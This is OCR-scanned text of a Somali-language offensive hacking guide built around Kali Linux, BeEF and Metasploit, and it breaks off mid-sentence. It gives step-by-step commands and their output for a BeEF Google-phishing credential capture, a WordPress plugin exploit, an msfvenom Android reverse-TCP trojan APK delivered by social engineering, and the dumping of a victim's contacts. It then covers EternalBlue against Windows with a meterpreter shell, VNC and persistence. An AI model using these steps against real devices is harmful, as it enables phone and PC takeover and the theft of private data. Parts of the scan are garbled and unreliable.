efficient, and useful. And maybe even fun. After all, Google Mail has:

=
o
R

Lots of space

Over 2757.272164 megabytes (and counting) of free
storage.

Less spam
Keep unwanted messages out of your inbox.

Mobile access
Get Google Mail on your mobile phone. Learn more

About Google Mail  New features!  Switch to Google Mail
Create an account

New to Google Mail? eH=E =L slele V)

Sign in

Username

Password

Can't access your account?

Stay signed in

Si aad u hesho magaca isticmaalaha iyo lambarka sirta ah ee aan qornay,

guji kaliya amarka gaybta safka Natiijooyinka Module. Aniga ahaan,

waxaan u arkaa "hfhfhf" sidii isticmaale iyo "sdliasdflihasdflh" furaha.

Waxaad sidoo kale ka daawan kartaa macluumaadkaan "logs" tab.
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# BeEF 0500 | Submit Bug | Logout

Getting Started Logs Zombies Current Browser
Details Logs Commands Proxy XssRays Metwork
Module Tree Module Results History Command results -

Search id «  date label -

Fake Evernote Web Clip| A 2020-05-08 15:38 command 1

@ Fake Flash Update data:

Fake LastPass result=Usemame:

Hee. hfhfhf Password:
o Fake Motification Bar <dliasdflihasdfih

Fake Motification Bar (Ct

o Fake Motification Bar (Fir
Fake Motification Bar (IE]
Google Phishing

Time)

Lecamtuf Download
¥ Pretty Theft
Replace Videos (Fake Pl
o Simple Hijacker
Spoof Address Bar (data
» TabMabbing
@ Edge WScript WSH Injec
@ Firefox Extension (Bindsl -

O T i D R

b Re-execute command +

Haddii aan dooneynay, waxaan u habeyn karnaa URL-ka uu adeegsado
moduleka Google Phishing, haddii ay dhacdo inaad rabto inaad

isticmaasho wax ka sii aaminaad badan gaabkii hore ee Gmail interface.

Marka aan leenahay biraawsarka la xiray, waxaa jira fursado aan
xadidneyn oo aan sameyn karno. Xitaa waad u adeegsan kartaa BeEF

weerarada nidaamka hawlgalka.
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Nakhtin guud

e Kali linux waxa sameeyay shirkada toobarista ee OFFENSEF
SECURITY

e Kali waxa isticmala dadka ka shageeya cyber security , nerworking

ga, hackers ga IWM

e kali waxa uu leeyay tools badan ku waso loo gu tala galay

hackinga

¢ wifi hacking markaad samaynaysid waa inu monter mood

nogonkara cumputer kagu hadi kale network adap ter gali
e Internet gu waxa uu istimala protocol kala duwan

e Buug bolunty waam sida loo ga eego website inu leeyay meel uu
hacker ka fa’'idaysan karo ,iyo waa habka aad ku samayn kartiid

lacag adigo wax hacking garaynaya

e cutubkan waxa lagu soo koobay galabyada kali ina ugu can san ee

maha iyago dhan
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Reverse engineering

&

Exploitation tools

Reverse engineering (sidoo kale loo yagaan injineernimada gadaal
ama injineernimada gadaal) waa hanaan ama gaab loo maro arjiga kaas
oo gofku isku dayo inuu ku fahmo asbaabaha sababaynta sida aaladda,
nidaamka, nidaamka, ama gabal ka mid ah softiweerku u fuliyo hawl aad
u yar (haddii
ay jirto)
aragti ku
saabsan sida
saxda ah ee §
ay sidaas )

yeeleyso.

4 -

Injineeriyada gadaal ayaa Iag dabaqi karaé dhinacyada injineernimada

kombiyuutarka, injineernimada farsamada, injineernimada
elektarooniga ah, injineernimada softiweerka, injineernimada kiimikada,

iyo nidaamka bayoolajiga
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Exploition waa qayb ka mid ah softiweer, xog yar, ama amarro isdaba-

joog ah oo ka faa'iideysanaya cillad ama u nuglaansho si ay u keento
dabeecad aan lagu talagalin ama aan la filayn inay ku dhacdo
barnaamijka kombuyuutarka, galabka, ama wax elektaroonig ah
(badanaa kombiyuutarka). Dhaganka noocan oo kale ah wuxuu had iyo
jeer ku daraa waxyaabo ay ka mid yihiin hanashada xakamaynta
nidaamka kombiyuutarka, u oggolaanshaha kordhinta mudnaanta, ama

diidmada-adeegga (DoS ama DDoS la xiriira).

Metasploit

Qaab dhismeedka Metasploit waa aalad aad u awood badan dhamaan
galabyada kali linux oo loo isticmaali karo dambiilayaasha internetka iyo
sidoo kale anshax xumada anshaxa si loo baaro dayacanka nidaamsan ee
shabakadaha iyo server-yada. Sababtoo ah waa gaab-furan oo furan, si
fudud ayaa loo habeyn karaa loona isticmaali karaa inta badan
nidaamyada hawlgalka.

lyadoo la adeegsanayo Metasploit, kooxda tijaabinta qalinka waxay

adeegsan kartaa koodh diyaar ah ama caado ah waxayna ku soo
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bandhigi karaan shabakad si ay u baaraan meelaha daciifka ah. Sida
dhadhan kale oo ugaarsi ugaarsi ah, markii cilladaha la agoonsado oo la
diiwaangeliyo, macluumaadka waxaa loo isticmaali karaa in lagu xalliyo

daciifnimada nidaamka iyo in mudnaanta la siiyo xallinta.

Mashruuca Metasploit-ka waxaa fuliyay 2003-dii H.D. Moore si loogu
isticmaalo aalad shabakad la qaadan karo oo Perl ku saleysan, iyadoo
gacan laga helayo soo saaraha aasaasiga ah Matt Miller. Waxaa si buuxda
loogu beddelay Ruby 2007, shatigana waxaa helay Rapid7 sanadkii 2009,
halkaas oo ay weli ku sii jirto gayb ka mid ah shirkad saldhigeedu yahay
magaalada Boston ee waraagaha horumarinta saxiixa IDS iyo
bartilmaameedka ka faa'iideysiga fog, qiiqa, ka hortagga dambi-baarista,

iyo aaladaha dhuumashada.

Qaybo ka mid ah galabkan kale waxay deggen yihiin gaab dhismeedka
Metasploit, kaas oo lagu dhisay Kali Linux OS. Rapid7 sidoo kale waxay

soo saartay laba galab OpenCore, Metasploit Pro, Metasploit Express.

Qaab-dhismeedkan ayaa nogday aaladda tagitaanka iyo ka-faa'iideysiga
aaladda. Ka hor Metasploit, qalinjebiyeyaasha qalinku waxay ku
khasbanaadeen inay ku gabtaan dhammaan baaritaannada iyagoo
adeegsanaya aalado kala duwan oo laga yaabo ama laga yaabo inaysan
taageerin barxadda ay tijaabinayaan, iyagoo ku goraya lambarkooda
gacanta, kuna soo bandhigaya shabakadaha gacanta. Tijaabinta fog

waxay ahayd mid aan horay loo maqal, taasna waxay xaddiday
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gaaritaanka khabiirka amniga ee aagga maxalliga ah iyo shirkadaha

kharash gareeya IT-ga gudaha ama la-taliyayaasha amniga.

Tijaabada galmada waxay kuu

ogolaaneysaa inaad ka jawaabto su'aasha

metasploit =

ah, "Sidee ayuu gof ula kac ah ulakac xun
ula macaamilayaa shabakadeyda?" lyadoo
la adeegsanayo aaladaha baaritaanka
galinka, koofiyadaha cad iyo xirfadleyda
DevSec waxay awoodaan inay baaraan
shabakadaha iyo codsiyada ceebaha iyo

nuglaanta meel kasta oo ay weheliso

habka wax soo saarka iyo dejinta iyadoo la jabsanayo nidaamka.

Mid ka mid ah caawimaadda baaritaanka gelitaanka noocan oo kale ah
waa Mashruuca Metasploit. Qaab-dhismeedka il-furan ee ku saleysan
Ruby-ku wuxuu u oggolaanayaa tijaabinta iyadoo la adeegsanayo wax ka
beddelka gadka amarka ama GUI. Waxaa sidoo kale lagu dheereyn karaa
iyada oo loo adeegsanayo koodh si loogu daro sidii add-on taageera

lugado badan.

Soo hel Deegaannada Diiwaanka Firfircoon ee Bilaashka ah EBook
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"Tani runti waxay indhahayga u furtay nabadgelyada AD si aan u helo

shaqgo difaac ah."
Waa maxay Qaab dhismeedka Metasploit iyo Sidee loo Isticmaalaa?

Qaab dhismeedka Metasploit waa aalad aad u awood badan oo loo
isticmaali karo dambiilayaasha internetka iyo sidoo kale anshax xumada
anshaxa si loo baaro dayacanka nidaamsan ee shabakadaha iyo server-
yada. Sababtoo ah waa qaab-furan oo furan, si fudud ayaa loo habeyn

karaa loona isticmaali karaa inta badan nidaamyada hawlgalka.

lyadoo la adeegsanayo Metasploit, kooxda tijaabinta qalinka waxay
adeegsan kartaa koodh diyaar ah ama caado ah waxayna ku soo
bandhigi karaan shabakad si ay u baaraan meelaha daciifka ah. Sida
dhadhan kale oo ugaarsi ugaarsi ah, marka ciladaha la agoonsado lana
diiwaangeliyo, macluumaadka waxaa loo isticmaali karaa in lagu xalliyo

daciifnimada nidaamka iyo mudnaanta mudnaanta.

Taariikh Kooban oo Metasploit ah

Mashruuca Metasploit-ka waxaa fuliyay 2003-dii H.D. Moore si loogu
isticmaalo aalad shabakad la qaadan karo oo Perl ku saleysan, iyadoo
gacan laga helayo soo saaraha aasaasiga ah Matt Miller. Waxaa si buuxda
loogu beddelay Ruby 2007, shatigana waxaa helay Rapid7 sanadkii 2009,
halkaas oo ay weli ku sii jirto gayb ka mid ah shirkad saldhigeedu yahay
magaalada Boston ee waraagaha horumarinta saxiixa IDS iyo
bartilmaameedka ka faa'iideysiga fog, qiiqa, ka hortagga dambi-baarista,

iyo aaladaha dhuumashada.
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Qaybo ka mid ah galabkan kale waxay deggen yihiin gaab dhismeedka
Metasploit, kaas oo lagu dhisay Kali Linux OS. Rapid7 sidoo kale waxay

soo saartay laba qalab OpenCore, Metasploit Pro, Metasploit Express.

Qaab-dhismeedkan ayaa noqday aaladda tagitaanka iyo ka-faa'iideysiga
aaladda. Ka hor Metasploit, qalinjebiyeyaasha qalinku waxay ku
khasbanaadeen inay ku gabtaan dhammaan baaritaannada iyagoo
adeegsanaya aalado kala duwan oo laga yaabo ama laga yaabo inaysan
taageerin barxadda ay tijaabinayaan, iyagoo ku goraya lambarkooda
gacanta, kuna soo bandhigaya shabakadaha gacanta. Imtixaanka fog
wuxuu ahaa mid aan horay loo magal, taasna waxay xaddiday
gaaritaanka khabiirka amniga ee aagga maxalliga ah iyo shirkadaha ku

bixiya kharashka ku baxa IT-ga guriga ama la-taliyayaasha amniga.

Ayaa Isticmaala Metasploit?

Sababtoo ah barnaamijyadeeda kala duwan iyo helitaanka ilo-furan,
Metasploit waxaa adeegsada qof kasta oo ka soo jeeda gqaybta soo
kordhaysa ee barnaamijka 'DevSecOps' ee loo yagaan 'hackers'. Waxay
waxtar u leedahay qof kasta oo u baahan fudud si loo rakibo, galab la
isku halleyn karo oo shagada lagu gabanayo iyada oo aan loo eegin
madal ama lugad loo adeegsado. Software-ka ayaa caan ku ah
jabsadayaasha isla markaana si ballaaran loo heli karaa, taas oo
xoojinaysa baahida loo qabo in xirfadlayaasha amniga ay bartaan gaabka

xitaa haddii aysan isticmaalin.
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Metasploit hadda waxaa ku jira in ka badan 1677 faa iideysi oo lagu
abaabulay in ka badan 25 dhufto, oo ay ku jiraan Android, PHP, Python,
Java, Cisco, iyo inbadan. Qaab-dhismeedka ayaa sidoo kale xambaarsan

ku dhowaad 500 oo xamuul ah, oo gaarkood ay ka mid yihiin:

e Amarada xaddiga lacag bixinta ee u oggolaanaysa isticmaaleyaasha
inay ku shageeyaan qoraallo ama amarro kala sooc ah oo ka dhan

ah martida.

e Culeysyada mushaharka ee firfircoon ee u oggolaanaya
tijaabiyayaashu inay soo saaraan culeysyo gaar ah si ay uga

dhuuntaan barnaamijka antivirus.

e Lacag bixiyaha xamuulka ee u oggolaada adeegsadayaasha inay
amar ku siiyaan kormeerayaasha galabka iyagoo adeegsanaya VMC
iyo inay la wareegaan fadhiyada ama soo rartaan oo soo dejiyaan

faylasha.

e Mushaharka joogtada ah ee u oggolaanaya gudbinta dekedda iyo

xiriirka ka dhexeeya shabakadaha.

Isticmalka metaspoilt

Metasploit madama aan soo kobin karin waa waxan ku eegi doona sida
oogu badan ee hackinga loo gu isticmalo anakoo isticmalayna expliot

yada 0o gu cansan ee database ga metasploit.
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Exploiting Webset WordPress ah

shabakada ku iskaan gare ama ku sawir nmap

msf > nmap -v -sV 192.168.111.0/24 -0A subnet_1

hosts(martigeliyayaashu) oo dhan nmap ayaa soo gaban doonta

kadib waxaad heli maclumaka iyo protocolka uu isticmalayon website ga

world press ga ah

marka imika metaspliot ku kici amarkan

msfconsole

msf > use exploit/unix/webapp/wp_wysija_newsletters_upload

dsp
d888888P

d8bd8b.d8p d8888b 788' d888bhsb

88P 7P'?7P d8b_,dP 88P d8P’
d8 78 88b
dssb 8b

dss
88"’

788
8s8b 88b ,88b
78b  788P"'

788, .d88b,
788" 788
88b dsP
888888P"
dsspP’

78888P"

9-de
1068 auxiliary -
44 encoders - 10

metaspl 1T V )
1897 exploits -
- 547 payloads -

-=[ 2 evasion

329 post
nops

ds, dsp
"BP d88s8sssp
788"
d8P 78b 88P
d8P d8s8s8sb $whi?88b 88b
d88 dsP' 788 88P "78b
788 88b d88 ds8s
88b" 78888P"'
88n
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Tani waxay ku tusin doontaa weerarada ka faa'iideysiga ka faa'iideysan doono:

msf exploit(wp_wysija_newsletters_upload) > show payloads

Tani waxay muujin doontaa nooca software iyo nooca la beegsan doono:

msf exploit(wp_wysija_newsletters_upload) > show targets
Exploit targets:
Id Name

0 wysija-newsletter < 2.6.8

Haba informationkii nmap gali malaha balnan sidsa RHOST iyo RPORT
ga kadib gali expliot
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Hacking Android phone

Waxaan u baahanahay inaan hubino IP-geena maxaliga ah oo noqda
'192.168.0.112". Waxaad sidoo kale khawano kartaa galabka Android
adoo adeegsanaya internetka adoo adeegsanaya IP-gaaga
Dadweynaha / Dibedda ee LHOST iyo gudbinta port ga.

:~# ifconfig
ethd: flags=4163<UP.BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.8.112 netmask 255.255.255.0 broadcast 192.168.8.255
inetb teB@::a@0:27tf:fe99:9bfc prefixlen 64 scopeid @=x28<link>
ether @8:00:27:99:9b:fc  txqueuelen 1080 (Ethernet)
RX packets 9288 bytes 6120983 (5.8 MiB)
RX errors @ dropped @ overruns @ frame @
TX packets 7880 bytes 1002301 (978.8 KiB)
TX errors @ dropped © overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.8.8.1 netmask 255.0.0.0
ineté ::1 prefixlen 128 scopeid @x=x1@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4137 bytes 938659 (908.8 KiB)
RX errors @ dropped @ overruns @ frame @
TX packets 4137 bytes 930659 (908.8 KiB)
TX errors @ dropped © overruns @ carrier @ collisions @

:~# msfvenom -p android/meterpreter/reverse_tcp LHO5T=192.168.0.11
2 LPORT=4444 R> /var/www/html/ehacking.apk

Ka dib markaad hesho IP-gaaga martigeliyaha ah isticmaal aaladda
msfvenom oo abuuri doonta lacag bixin si loo dhexgeliyo galabka
Android Nooca amarka:

# msfvenom —p android/meterpreter/reverse_tcp LHOST=192.168.0.112 LPORT=4444 R>
Ivar/www/html/ehacking.apk
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® -p WUXUU muujinayaa nooca payload ka

e android / metepreter / reverse_tcp wuxuu cadeynayaa qolof
tarjume mitir celis ah inuu ka imaan doono aaladda

bartilmaameedka Android
e LHOST waa deegaankaaga IP
e LPORT waxaa lagu wadaa inay noqoto deked dhageysi

e R>/var/www [ htmlwuxuu si toos ah ugu soo saari lahaa wax soo

saarka server-ka apache

e apk waa magaca ugu dambeeya ee soosaarka ugu dambeeya

Tani waxay qaadaneysaa xoogaa waqti ah si loo soo saaro feyl apk ah ku

dhowaad toban kun oo baiti.

:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.11
2 LPORT=4444 R> /var/www/html/ehacking.apk
[-] No platform was selected, choosing Msf ::Module:: Platform:: Android from
the payload
[-] No arch selected, selecting arch: dalvik from the payload

No encoder or badchars specified, outputting raw payload
Payload size: 18184 bytes

= |

Kahor weerarka, waxaan ubaahanahay inaan hubino xaalada server-ka

Apache.gali amarka: service apache2 status
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:~# service apache2 status
e apache2.service - The Apache HTTP Server
Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendorf]
Active: active (running) since Mon 2020-03-16 06:46:11 EDT; 3s ago
Docs: https://httpd.apache.org/docs/2.4/
Process: 2855 ExecStart=/usr/sbin/apachectl start (code=exited, statusf
Main PID: 2066 (apache2)
Tasks: 6 (limit: 2062)
Memory: 21.1M
CGroup: /system.slice/apache2.service
2066 fusr/sbin/apache2 -k start
2067 fusr/sbin/apache2? -k start
2068 fusr/sbin/apache2? -k start
2069 fusr/sbin/apache2? -k start
2070 /usr/sbin/apache2 -k start
2071 /usr/sbin/apache2 -k start

Mar 16 06:46:09 kali systemd[1]: Starting The Apache HTTP Server ...

Mar 16 @6:46:11 kali apachect1[2065]: AH@@558: apache2: Could not reliablyf
Mar 16 @6:46:11 kali systemd[1]: Started The Apache HTTP Server.

lines 1-19/19 (END)

Dhammaantood waxay u muugdaan kuwo daaran, hadda dab-gabad

msfconsole. Isticmaal ka-faa'iideyste fara badan / gacmeed, u deji culeys
la mid ah wixii horay loo soo saaray, deji giimaha LHOST iyo LPORT oo la
mid ah sidii loogu adeegsaday mushahar bixinta ugu dambeynna ku qor

nooca ka faa'iideysiga si aad u weerarto.

msf5 > use multi/handler

msf5 exploit( ) > set PAYLOAD android/meterpreter/reverse_tcp
PAYLOAD = android/meterpreter/reverse_tcp

msf5 exploit( ) > set LHOST 192.168.0.112

LHOST = 192.168.0.112

msf5 exploit( ) > set LPORT 4444
LPORT = 4444

msf5 exploit( ) > exploit

Xaaladaha nolosha dhabta ah, farsamooyinka injineernimada bulshada
gaarkood ayaa loo isticmaali karaa in loogu oggolaado bartilmaameedka
inuu soo dejiyo faylka xun ee apk. Banaanbaxa waxaan kaliya uheleynaa

mashiinka weerarka si aan u soo dajino feylka qalabka Android.
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C < & 192.168.0.112/ehacking.apk

Google

Google offered in s gl

Ka dib markaad si guul leh u soo dejiso, xulo barnaamijka si aad u
rakibto.

O

3 04 MOMN, MARCH 16

3 ehacking.apk

€ = oow

, ' android-bro

lllaa iyo hadda, doorashadan(choic) waxaa loo arkaa si joogta ah

markaan isku dayno inaan rakibno gaar ka mid ah barnaamijyada
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saddexaad iyo dadka isticmaala caadi ahaan kama waaban inay

oggolaadaan rakibidda ilaha aan la garanayn.

nstall blocked

For security, your tablet is set to block installation of apps obtained
from unknown sources.

Cancel Settings

Awood u yeelo dejinta si aad u rakibto codsiyada ilaha saddexaad. Ugu

dambeyntiina ku dhufo xulashada rakibida hoose.
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I MainActivity

Do you want to install this application? It will get access to

DEVICE ACCESS

_—
.

connect and disconnect from Wi-Fi

run at startup
wevent tablet from sleeping
set wallpape

nodify ;tern settings

test access 1o protected storage

Cancel

Mar haddii isticmaaluhu rakibo arjiga oo uu socodsiiyo, fadhiga mitirka
ayaa isla markiiba laga furi doonaa dhinaca weerarka.

Started reverse TCP handler on 192.168.0.112:4444
Sending stage (73558 bytes) to 192.168.0.118

Meterpreter session 1 opened (192.168.0.112:4444 — 192.168.0.110:35713
) at 2028-03-16 06:51:53 -0400

meterpreter > |j
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Ku gor “background” ka dibna “sessions” si aad u liis garato dhammaan
fadhiyada meesha aad ka arki karto dhammaan IP-yada ku xiran

mashiinka.

meterpreter > background
Backgrounding session 1 ...
msf5 exploit( ) » sessions

Active sessions

Information Connection

meterpreter dalvik/android u@_a54 @ localhost 192.168.0.112:4
b4 —» 192,168.0.110:35713 (192.168.0.110)

msf5 exploit( N |

Waad la macaamili kartaa kalfadhi kasta adoo teeb ku qoraya sessions -

| [session |ID]

Ka dib markaad gasho fadhiga, ku qor*help” si aad ugu qorto

dhammaan amarrada aan ku soo bandhigi karno casharkaan.

Waxaad arki kartaa gaar ka mid ah amarrada nidaamka faylka ee ku
caawinaya markaad isku dayeyso inaad raacdo macluumaad xasaasi ah
ama xog ah. Adiga oo isticmaalaya kuwan, Waxaad si fudud u soo

dejisan kartaa ama u soo dejin kartaa fayl ama macluumaad kasta.
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Stdapi: File system Commands

Read the contents of a file to the screen
Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
dir List files (alias for 1s)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
11s List local files
1pwd Print local working directory
1s List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory

Waxa kale oo aad ka heli doontaa amarro shabakadeed oo ay ka mid

yihiin portfwd iyo marin

Stdapi: Networking Commands

ifconfig Display interfaces

ipconfig Display interfaces

portfwd Forward a local port to a remote service
route View and modify the routing table




_ Somali Hacker 101

Qaar ka mid ah nidaamka amarrada badan ayaa amar ku bixiya
helitaanka Agoonsiga isticmaalaha, hel qolof ama helitaanka

macluumaadka nidaamka oo dhammaystiran.

Ku gor "app_list" 0o wuxuu ku tusi doonaa dhammaan barnaamijyada
rakibay qalabka

meterpreter > app_list
Application List

Package
Running IsSystem

Android Keyboard (AOSP) com.android.inputmethod.latin
true true

Android Live Wallpapers com.android.wallpaper
false true

Android System android
false true

Basic Daydreams com.android.dreams.basic
false true

Black Hole com.android.galaxys
false true

Bluetooth Share com.android.bluetooth
true true

Browser com.android.browser
true true

Bubbles com.android.noisefield
false true

Calculator com.android.calculator2

Waxaan sidoo kale awood u leenahay inaan ka saarno barnaamij kasta
galabka Android
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Application Controller Commands

app_install Request to install apk file
app_list List installed apps in the device
app_run Start Main Activty for package name
app_uninstall Request to uninstall application

Hadda ha soo saaro xiriirada gaar ka mid ah galabka bartilmaameedka

adigoo garaacaya "dump"iyo tab laba jeer.

meterpreter > dump_
dump_calllog dump_contacts dump_sms

Waxay tusi doontaa dhammaan xulashooyinka laga soo saaro qalabka.

Nooca "dump_contacts" ka dibna gal

meterpreter > dump_contacts
Fetching 3 contacts into list

Contacts list saved to: contacts_dump_20200317080731.txt
meterpreter > |j

Waxay ka soo saari doontaa dhammaan xiriirada galabka Android
waxayna ku keydin doontaa diiwaankayaga maxalliga ah. Siaad u

aragto faylka noocan ah "Is" iyo "cat [file_name]"
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:~# cat contacts_dump_20200317080731.txt

Date: 2020-03-17 08:07:31 -0400

05: Android 4.3 - Linux 3.10.2-android-x86+ (i688)
Remote IP: 192.168.0.110

Remote Port: 44274

#1
Name : John hales
Number : (503) 825-6868

#2
Name : Alan wilkins
Number : (508) 789-0686

#3
ETITE : Rita skater
Number : (508) 678-2928

Tani waxay muujineysaa waxa ku jira feylka xiriiriyaha ee horay looga
soo dejiyey galabka bartilmaameedka. Macluumaadkani runtii waa mid

xasaasi ah oo ay ka faa'iideysan karaan kooxaha wax jabsada.

Waxaa jira amarro badan oo badan oo laga heli karo turjubaanka

mitirka. Dheeraad ah isku day inaad sahamiso oo aad barato waxa aan
ku gaban karno galabka Android. Tani waxay ku soo gabagabeyneynaa
inaan si guul leh u dhex galnay aaladda Android iyadoo la adeegsanayo

Kali Linux iyo Metasploit-Framework.

Tilmaam caafimaad leh si loo hubiyo galabkaaga Android waa in aanad
rakibin wax codsi ah oo laga helo ilo aan la garanayn, xitaa haddii aad

runtii rabto inaad rakibto, iskuday inaad aqgriso oo aad baarto
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koodhkeeda si aad u hesho fikrad ah in feylkani yahay mid xun ama aan

ahayn.

Hacking Windows 10

Qunsulka metasploit-ka, ka dib waxaan marka hore ku soo
aruurineynaa macluumaad, sida cinwaanka IP bartiimaameedka ah,
Nidaamka Howlgalka, dekedaha la furay, iyo u nuglaanta. Metasploit
WUXUU noo ogolaanayaa inaan si toos ah uga wadno NMap qunsulka.
lyada oo ku saleysan macluumaadka kor ku xusan amarkan socodsiinta

si aan u dhammaystirno hawsheenna ururinta macluumaadka.

msf > nmap -v 192.168.1.1/24 --script vuln -Pn -O
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Waxaan helnay bartilmaameed nugul oo shageynaya Windows
Operating System, kuwa nugulna waxay ku jiraan adeegga SMBv1.

Sidaas, ku dar xusuus.
Bartilmaameedka IP (RHOST): 192.168.1.57

U nuglaanta: nuglaanta fulinta fulinta u nuglaanta serverka Microsoft

SMBv1 (ms17-010)

Hadda waxaan ogaanay bartilmaameedka iyo u nuglaanshihiisa.

Waxaan hubineynaa u nuglaanta qunsuliyada metasploit

Hadda waxaan ogaanay bartilmaameedka iyo u nuglaanshihiisa.
Waxaan hubineynaa u nuglaanta galabka metasploit iyadoo la
adeegsanayo moduleka kaabayaasha smb_scanner. Orod amarka soo

socda:
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roct@localhost: ~

Metasploit wuxuu ku kalsoon yahay nuglaanta, waxayna muujineysaa

saxda Windows OS Edition. Ku dar xusuus

Bartilmaameedka OS: Windows 7 Ultimate 7600

Nasiib darro, metasploit ma laha gayb ka faa'iideysi oo la xiriira
dayacanka. Laakiin, ha ka welwelin, waxaa jira nin banaanka u soo
baxay oo qorey koodhka ka faa'iideysiga. Faa'iidada waa la yagaan,
maadaama ay bilaabatay NASA waxaa loo yagaan EternalBlue-

DoublePulsar
Hadda, waxaad diyaar u tahay inaad ka faa'iideysato bartilmaameedka.

Orod amarrada soo socda:

use exploit/windows/smb/eternalblue_doublepulsar

set payload windows/meterpreter/reverse_tcp
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set PROCESSINJECT spoolsv.exe
set RHOST 192.168.1.57

set LHOST 192.168.1.56

exploit

root{@localhost: ~

Boom... Isticmaalku wuu guuleystey, waxaan helnay kalfadhigii mitirka.
Sidii aan horayba u soo sheegay, mar haddii isticmaalku bilaabmo

waxay geyn doontaa culayska, taas oo ah, halkan ayaan ku adeegsanay

windows/meterpreter/reverse_tcp.
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Aan sahamino amarrada badan ee la heli karo, gal *?’ (Calaamatu su’aal
la’aan) oo aan aragno amarrada la heli karo ee ku taxan. Stdapi,

amarrada nidaamka waa:

recti@localhost: ~

Si aad u aragto macluumaad dheeraad ah oo ku saabsan nidaamka
bartilmaameedka, isticmaal amarka 'sysinfo'. Wax soo saarku waa inuu

U ekaadaa sidan.
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reoti@localhost: ~

Tan iyo markii aan ku durayno nidaamka nidaamka hore (spoolsv.exe),
waxaan helnay Hannaan Nidaam. Waxaan leenahay bartiimaameedka.
Wax badan ayaan ku gaban karnaa amarka bartilmaameedka. Tusaale
ahaan waxaan socodsiin karnay RDP, ama waxaan dhigan karnaa VNC

remote. Si aad u socodsiiso adeegga VNC gal amarka:

~# run vnc

Turjubaanku wuxuu leeyahay hawshan dib u celinta joogtada ah. Orod

amarka soo socda, oo fiiri xuduudaha la heli karo iyo doodaha.

meterpreter > run persistence -h
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Haddii aadan ku ganacsanayn qoraalkan la duubay, gaybta ugu

adkaysiga badan ayaa ku hoos jirta
post/windows/manage/persistence_exe. Waad sii sashamin kartaa

naftaada.
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Armitage

Armitage waa aalad qoris xoog leh oo wax ku ool ah oo wax ku ool ah oo
lala kaashanayo hawlgallada kooxda casaanka ah inta lala tacaalayo
weerarrada internetka ee loo adeegsanayo Metasploit, oo uu soo
saaray Raphael Mudge. Sidaa darteed, waxay u shageysaa sidii hore-
dhamaadka GUI ee Metasploit. Waxay u oggolaaneysaa inaad aragto
bartiimaameedyada, waxay kugula talineysaa ka faa'iideysiga waxayna
sidoo kale bixisaa natiijooyin horumarsan oo la xiriira astaamaha ka-

faa'iidaysiga ka dib gaab dhismeedka.

Armitage ayaa si cad u faa'iido badan marka la fulinayo hawlgallada
kooxda cas, laakiin sidoo kale dhammaan khawaarijta "cusub”, ee aan
weli dareemin raaxo inta la isticmaalayo CLI. Waxay ka caawin kartaa

bilowga oo dhan inay bartaan jabsiga Metasploit si aad u fudud.
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CYBER ATTACK MANAGEMENT FOR METASPLOIT

Armitage wuxuu
badiyaa howlgalada ay
sameeyaan kooxaha
cas. Ujeeddada ugu

weyn ee galabkani waa

in loo oggolaado
khubaro xagga amniga ah inay adeegsadaan Metasploit iyadoo lala
kaashanayo taas oo u saamaxaysa kooxda inay ku wada xiriiraan hal
tusaale oo Metasploit ah. Waxay leedahay qayb adeege ah oo u
oggolaan karta wadaagista xogta iyo adeegsiga isla fadhiyada koox
dhexdeeda ah.

Markaad isticmaaleyso Armitage waxaad ikhtiyaar u leedahay inaad ku
sameyso iskaankaaga bartilmaameed bartilmaameed, laakiin waxaad
sidoo kale soo dhoofsan kartaa xogta laga heli karo qalabka kale .Abkan
wuxuu leeyahay Ul aad u fududahay in la isticmaalo natiijada ka soo
baxana waxaad awoodi kartaa inaad aragto dhamaan
bartilmaameedyada kuxiran ama kuwa la baaray. Haddii weerar lagu
guuleysto aaladda waxay soo bandhigi doontaa dhammaan qalabka

boostada looga faa'iideysto ee ku jira wakiilka Meterpreter.

e auxiliary
o exploit
e payload

e post
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Waxaad u adeegsan kartaa aagga Module-ka si aad u aragto liistada ka-
faa'iideysiga suurtagalka ah sidoo kale waxay kuu oggolaaneysaa
xulashada culeys-bixinta in la gaarsiiyo. Aaggan wuxuu kaloo leeyahay
kaar duug ah oo loo adeegsan karo in lagu baadho culeys bixinta ama ka
faa'iideysiga aad u baahan karto. Sidoo kale waxay ka timid aaggan
inaad ka heli karto qaybaha caawiya ee looga baahan yahay bilaabista
weerar xoog leh oo sirta ah.

Aagga bartilmaameedku wuxuu ku siinayaa liis faahfaahsan oo ah
mashiinnada martida loo yahay ee la helay. Midab casaan ah iyo
duufaan u eg saameyn ayaa lagu dhajiyaa bartiimaameedyada la
jabsaday. Aagga qunsuliyadda ayaa kuu oggolaanaya inaad si fudud ugu
fiirsato 0o aad ugu dhex marto faylalka la heli karo.

Isticmalka Armitage

waxaan kaliya u baahanahay inaan xirxirno Armitage. Si taas loo
sameeyo waxaan U baahanahay inaan ku shageyno galabka asal ahaan

adoo adeegsanaya amarradan soo socda -

service postgresql start
sudo Armitage
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Marka aan sidaa yeelno, daagad waa inay soo ifbaxdaa.

Host 127.0.0.1
Port 35553
User msf
Pass
Connect | | Help |

Si fudud u guji Connect halkan oo sii soco. Intaa ka dib waxaa lagaa
codsan doonaa inaad bilowdo Server RPC ee loogu talagalay Metasploit

si loogu agbalo isku xirnaanta. Si fudud riix Haa isla markiiba.

Marka aan dhammaystirno tallaabooyinka kor ku xusan, waxaan arki

doonnaa Barnaamijka GUI ee hoose oo socda.
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Konsol-ka waxaan ku fulinaa amarrada caadiga ah ee Metasploit marka
hore. Waxaan fulinaa “use exploit/multi/handler”, si aan ula gabsan
karno culeysyo badan oo kala duwan iyo kalfadhiyeyaal mitir isku mar
ah. Maaddaama aan ognahay Mashiinkeenna Virtual-ka inuu yahay
Windows 7 64 bit Operating System. Waxaan ku bilaabaynaa mida ugu
fudud uguna guusha badan xakamaynta xakamaynta fog (RCE) "buluug
daa'im ah".

Waan raadineynaa oo waxaan u adeegsanaa ka faa'iideysiga sida aan

ugu isticmaalno metasploit sida aan hoos ku arki karno.
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Mar alla markii aan ku jirno qunsulka ka-faa'iideysiga, waxaan
